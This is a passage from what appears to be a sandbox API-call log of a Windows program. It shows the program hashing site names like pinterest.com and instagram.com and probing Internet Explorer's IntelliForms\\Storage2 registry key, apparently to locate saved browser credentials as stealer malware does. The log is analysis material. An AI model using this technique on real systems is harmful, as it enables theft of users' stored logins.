LocalFree (hMem=0x2815670) returned 0x0 [0096.580] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0096.580] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EA") returned 30 [0096.580] lstrlenW (lpString="A1") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.580] lstrcpyW (in: lpString1=0x2815670, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EA" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EA") returned="FD0FDC9D9614BF1AA98D7742C2C3EA" [0096.580] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EA", lpString2="A1" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA1") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA1" [0096.580] LocalFree (hMem=0x2815a80) returned 0x0 [0096.580] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0096.580] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EAA1") returned 32 [0096.580] lstrlenW (lpString="7A") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.580] lstrcpyW (in: lpString1=0x2815a80, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EAA1" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA1") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA1" [0096.580] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA1", lpString2="7A" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A" [0096.580] LocalFree (hMem=0x2815670) returned 0x0 [0096.580] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0096.580] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EAA17A") returned 34 [0096.580] lstrlenW (lpString="43") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.580] lstrcpyW (in: lpString1=0x28e7670, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EAA17A" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A" [0096.581] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A", lpString2="43" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43" [0096.581] LocalFree (hMem=0x2815a80) returned 0x0 [0096.581] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0096.581] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43") returned 36 [0096.581] lstrlenW (lpString="AA") returned 2 [0096.581] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.581] lstrcpyW (in: lpString1=0x28e7910, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43" [0096.581] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43", lpString2="AA" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA" [0096.581] LocalFree (hMem=0x28e7670) returned 0x0 [0096.581] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0096.581] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA") returned 38 [0096.581] lstrlenW (lpString="B4") returned 2 [0096.581] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.581] lstrcpyW (in: lpString1=0x28e7670, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA" [0096.581] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AA", lpString2="B4" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4" [0096.581] LocalFree (hMem=0x28e7910) returned 0x0 [0096.581] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.581] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4") returned 40 [0096.581] lstrlenW (lpString="22") returned 2 [0096.581] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.581] lstrcpyW (in: lpString1=0x28e7910, lpString2="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4" [0096.581] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB4", lpString2="22" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB422") returned="FD0FDC9D9614BF1AA98D7742C2C3EAA17A43AAB422" [0096.581] LocalFree (hMem=0x28e7670) returned 0x0 [0096.581] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.581] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.581] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.581] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.581] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.581] LocalFree (hMem=0x28e7910) returned 0x0 [0096.581] RegEnumValueW (in: hKey=0x368, dwIndex=0x5, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url45", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.581] StrStrIW (lpFirst="pinterest.com", lpSrch="?") returned 0x0 [0096.582] StrStrIW (lpFirst="pinterest.com", lpSrch="http://") returned 0x0 [0096.582] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.582] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.582] lstrlenW (lpString="pinterest.com") returned 13 [0096.582] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.582] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.582] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0096.582] lstrlenW (lpString="") returned 0 [0096.582] lstrlenW (lpString="1D") returned 2 [0096.582] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.582] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.582] lstrcatW (in: lpString1="", lpString2="1D" | out: lpString1="1D") returned="1D" [0096.582] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.582] lstrlenW (lpString="1D") returned 2 [0096.582] lstrlenW (lpString="22") returned 2 [0096.582] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.582] lstrcpyW (in: lpString1=0x28c81c0, lpString2="1D" | out: lpString1="1D") returned="1D" [0096.582] lstrcatW (in: lpString1="1D", lpString2="22" | out: lpString1="1D22") returned="1D22" [0096.582] LocalFree (hMem=0x7224580) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.583] lstrlenW (lpString="1D22") returned 4 [0096.583] lstrlenW (lpString="96") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.583] lstrcpyW (in: lpString1=0x28c8d00, lpString2="1D22" | out: lpString1="1D22") returned="1D22" [0096.583] lstrcatW (in: lpString1="1D22", lpString2="96" | out: lpString1="1D2296") returned="1D2296" [0096.583] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.583] lstrlenW (lpString="1D2296") returned 6 [0096.583] lstrlenW (lpString="22") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.583] lstrcpyW (in: lpString1=0x28c81c0, lpString2="1D2296" | out: lpString1="1D2296") returned="1D2296" [0096.583] lstrcatW (in: lpString1="1D2296", lpString2="22" | out: lpString1="1D229622") returned="1D229622" [0096.583] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.583] lstrlenW (lpString="1D229622") returned 8 [0096.583] lstrlenW (lpString="9D") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.583] lstrcpyW (in: lpString1=0x28c8d00, lpString2="1D229622" | out: lpString1="1D229622") returned="1D229622" [0096.583] lstrcatW (in: lpString1="1D229622", lpString2="9D" | out: lpString1="1D2296229D") returned="1D2296229D" [0096.583] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0096.583] lstrlenW (lpString="1D2296229D") returned 10 [0096.583] lstrlenW (lpString="74") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.583] lstrcpyW (in: lpString1=0x71cf460, lpString2="1D2296229D" | out: lpString1="1D2296229D") returned="1D2296229D" [0096.583] lstrcatW (in: lpString1="1D2296229D", lpString2="74" | out: lpString1="1D2296229D74") returned="1D2296229D74" [0096.583] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0096.583] lstrlenW (lpString="1D2296229D74") returned 12 [0096.583] lstrlenW (lpString="8B") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.583] lstrcpyW (in: lpString1=0x71cfb40, lpString2="1D2296229D74" | out: lpString1="1D2296229D74") returned="1D2296229D74" [0096.583] lstrcatW (in: lpString1="1D2296229D74", lpString2="8B" | out: lpString1="1D2296229D748B") returned="1D2296229D748B" [0096.583] LocalFree (hMem=0x71cf460) returned 0x0 [0096.583] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0096.583] lstrlenW (lpString="1D2296229D748B") returned 14 [0096.583] lstrlenW (lpString="F4") returned 2 [0096.583] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.584] lstrcpyW (in: lpString1=0x71cf460, lpString2="1D2296229D748B" | out: lpString1="1D2296229D748B") returned="1D2296229D748B" [0096.584] lstrcatW (in: lpString1="1D2296229D748B", lpString2="F4" | out: lpString1="1D2296229D748BF4") returned="1D2296229D748BF4" [0096.584] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0096.584] lstrlenW (lpString="1D2296229D748BF4") returned 16 [0096.584] lstrlenW (lpString="66") returned 2 [0096.584] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.584] lstrcpyW (in: lpString1=0x71cfb40, lpString2="1D2296229D748BF4" | out: lpString1="1D2296229D748BF4") returned="1D2296229D748BF4" [0096.584] lstrcatW (in: lpString1="1D2296229D748BF4", lpString2="66" | out: lpString1="1D2296229D748BF466") returned="1D2296229D748BF466" [0096.584] LocalFree (hMem=0x71cf460) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0096.584] lstrlenW (lpString="1D2296229D748BF466") returned 18 [0096.584] lstrlenW (lpString="8B") returned 2 [0096.584] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.584] lstrcpyW (in: lpString1=0x7290b70, lpString2="1D2296229D748BF466" | out: lpString1="1D2296229D748BF466") returned="1D2296229D748BF466" [0096.584] lstrcatW (in: lpString1="1D2296229D748BF466", lpString2="8B" | out: lpString1="1D2296229D748BF4668B") returned="1D2296229D748BF4668B" [0096.584] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0096.584] lstrlenW (lpString="1D2296229D748BF4668B") returned 20 [0096.584] lstrlenW (lpString="30") returned 2 [0096.584] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.584] lstrcpyW (in: lpString1=0x72912f0, lpString2="1D2296229D748BF4668B" | out: lpString1="1D2296229D748BF4668B") returned="1D2296229D748BF4668B" [0096.584] lstrcatW (in: lpString1="1D2296229D748BF4668B", lpString2="30" | out: lpString1="1D2296229D748BF4668B30") returned="1D2296229D748BF4668B30" [0096.584] LocalFree (hMem=0x7290b70) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0096.584] lstrlenW (lpString="1D2296229D748BF4668B30") returned 22 [0096.584] lstrlenW (lpString="4E") returned 2 [0096.584] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.584] lstrcpyW (in: lpString1=0x7290b70, lpString2="1D2296229D748BF4668B30" | out: lpString1="1D2296229D748BF4668B30") returned="1D2296229D748BF4668B30" [0096.584] lstrcatW (in: lpString1="1D2296229D748BF4668B30", lpString2="4E" | out: lpString1="1D2296229D748BF4668B304E") returned="1D2296229D748BF4668B304E" [0096.584] LocalFree (hMem=0x72912f0) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0096.584] lstrlenW (lpString="1D2296229D748BF4668B304E") returned 24 [0096.584] lstrlenW (lpString="08") returned 2 [0096.584] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.584] lstrcpyW (in: lpString1=0x72912f0, lpString2="1D2296229D748BF4668B304E" | out: lpString1="1D2296229D748BF4668B304E") returned="1D2296229D748BF4668B304E" [0096.584] lstrcatW (in: lpString1="1D2296229D748BF4668B304E", lpString2="08" | out: lpString1="1D2296229D748BF4668B304E08") returned="1D2296229D748BF4668B304E08" [0096.584] LocalFree (hMem=0x7290b70) returned 0x0 [0096.584] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D2") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08") returned 26 [0096.585] lstrlenW (lpString="D2") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.585] lstrcpyW (in: lpString1=0x2815a80, lpString2="1D2296229D748BF4668B304E08" | out: lpString1="1D2296229D748BF4668B304E08") returned="1D2296229D748BF4668B304E08" [0096.585] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08", lpString2="D2" | out: lpString1="1D2296229D748BF4668B304E08D2") returned="1D2296229D748BF4668B304E08D2" [0096.585] LocalFree (hMem=0x72912f0) returned 0x0 [0096.585] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08D2") returned 28 [0096.585] lstrlenW (lpString="B7") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.585] lstrcpyW (in: lpString1=0x2815670, lpString2="1D2296229D748BF4668B304E08D2" | out: lpString1="1D2296229D748BF4668B304E08D2") returned="1D2296229D748BF4668B304E08D2" [0096.585] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2", lpString2="B7" | out: lpString1="1D2296229D748BF4668B304E08D2B7") returned="1D2296229D748BF4668B304E08D2B7" [0096.585] LocalFree (hMem=0x2815a80) returned 0x0 [0096.585] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7") returned 30 [0096.585] lstrlenW (lpString="BE") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.585] lstrcpyW (in: lpString1=0x2815a80, lpString2="1D2296229D748BF4668B304E08D2B7" | out: lpString1="1D2296229D748BF4668B304E08D2B7") returned="1D2296229D748BF4668B304E08D2B7" [0096.585] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7", lpString2="BE" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE") returned="1D2296229D748BF4668B304E08D2B7BE" [0096.585] LocalFree (hMem=0x2815670) returned 0x0 [0096.585] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7BE") returned 32 [0096.585] lstrlenW (lpString="1D") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.585] lstrcpyW (in: lpString1=0x2815670, lpString2="1D2296229D748BF4668B304E08D2B7BE" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE") returned="1D2296229D748BF4668B304E08D2B7BE" [0096.585] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7BE", lpString2="1D" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D") returned="1D2296229D748BF4668B304E08D2B7BE1D" [0096.585] LocalFree (hMem=0x2815a80) returned 0x0 [0096.585] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7BE1D") returned 34 [0096.585] lstrlenW (lpString="90") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.585] lstrcpyW (in: lpString1=0x28e7910, lpString2="1D2296229D748BF4668B304E08D2B7BE1D" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D") returned="1D2296229D748BF4668B304E08D2B7BE1D" [0096.585] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7BE1D", lpString2="90" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D90") returned="1D2296229D748BF4668B304E08D2B7BE1D90" [0096.585] LocalFree (hMem=0x2815670) returned 0x0 [0096.585] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0096.585] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7BE1D90") returned 36 [0096.585] lstrlenW (lpString="1C") returned 2 [0096.585] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.586] lstrcpyW (in: lpString1=0x28e7670, lpString2="1D2296229D748BF4668B304E08D2B7BE1D90" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D90") returned="1D2296229D748BF4668B304E08D2B7BE1D90" [0096.586] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7BE1D90", lpString2="1C" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C") returned="1D2296229D748BF4668B304E08D2B7BE1D901C" [0096.586] LocalFree (hMem=0x28e7910) returned 0x0 [0096.586] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="32") returned 2 [0096.586] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7BE1D901C") returned 38 [0096.586] lstrlenW (lpString="32") returned 2 [0096.586] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.586] lstrcpyW (in: lpString1=0x28e7910, lpString2="1D2296229D748BF4668B304E08D2B7BE1D901C" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C") returned="1D2296229D748BF4668B304E08D2B7BE1D901C" [0096.586] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C", lpString2="32" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C32") returned="1D2296229D748BF4668B304E08D2B7BE1D901C32" [0096.586] LocalFree (hMem=0x28e7670) returned 0x0 [0096.586] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0096.586] lstrlenW (lpString="1D2296229D748BF4668B304E08D2B7BE1D901C32") returned 40 [0096.586] lstrlenW (lpString="40") returned 2 [0096.586] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.586] lstrcpyW (in: lpString1=0x28e7670, lpString2="1D2296229D748BF4668B304E08D2B7BE1D901C32" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C32") returned="1D2296229D748BF4668B304E08D2B7BE1D901C32" [0096.586] lstrcatW (in: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C32", lpString2="40" | out: lpString1="1D2296229D748BF4668B304E08D2B7BE1D901C3240") returned="1D2296229D748BF4668B304E08D2B7BE1D901C3240" [0096.586] LocalFree (hMem=0x28e7910) returned 0x0 [0096.586] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.586] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.586] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.586] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.586] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.586] LocalFree (hMem=0x28e7670) returned 0x0 [0096.586] RegEnumValueW (in: hKey=0x368, dwIndex=0x6, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url44", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.586] StrStrIW (lpFirst="instagram.com", lpSrch="?") returned 0x0 [0096.586] StrStrIW (lpFirst="instagram.com", lpSrch="http://") returned 0x0 [0096.586] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.587] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.587] lstrlenW (lpString="instagram.com") returned 13 [0096.587] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.587] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.587] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.587] lstrlenW (lpString="") returned 0 [0096.587] lstrlenW (lpString="E5") returned 2 [0096.587] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.587] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.587] lstrcatW (in: lpString1="", lpString2="E5" | out: lpString1="E5") returned="E5" [0096.587] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0096.587] lstrlenW (lpString="E5") returned 2 [0096.587] lstrlenW (lpString="30") returned 2 [0096.587] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.587] lstrcpyW (in: lpString1=0x28c8d00, lpString2="E5" | out: lpString1="E5") returned="E5" [0096.587] lstrcatW (in: lpString1="E5", lpString2="30" | out: lpString1="E530") returned="E530" [0096.587] LocalFree (hMem=0x7224580) returned 0x0 [0096.587] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0096.587] lstrlenW (lpString="E530") returned 4 [0096.587] lstrlenW (lpString="07") returned 2 [0096.587] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.587] lstrcpyW (in: lpString1=0x28c81c0, lpString2="E530" | out: lpString1="E530") returned="E530" [0096.587] lstrcatW (in: lpString1="E530", lpString2="07" | out: lpString1="E53007") returned="E53007" [0096.587] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.587] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0096.587] lstrlenW (lpString="E53007") returned 6 [0096.587] lstrlenW (lpString="37") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.588] lstrcpyW (in: lpString1=0x28c8d00, lpString2="E53007" | out: lpString1="E53007") returned="E53007" [0096.588] lstrcatW (in: lpString1="E53007", lpString2="37" | out: lpString1="E5300737") returned="E5300737" [0096.588] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.588] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0096.588] lstrlenW (lpString="E5300737") returned 8 [0096.588] lstrlenW (lpString="EC") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.588] lstrcpyW (in: lpString1=0x28c81c0, lpString2="E5300737" | out: lpString1="E5300737") returned="E5300737" [0096.588] lstrcatW (in: lpString1="E5300737", lpString2="EC" | out: lpString1="E5300737EC") returned="E5300737EC" [0096.588] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.588] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0096.588] lstrlenW (lpString="E5300737EC") returned 10 [0096.588] lstrlenW (lpString="37") returned 2 [0096.588] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.588] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E5300737EC" | out: lpString1="E5300737EC") returned="E5300737EC" [0096.588] lstrcatW 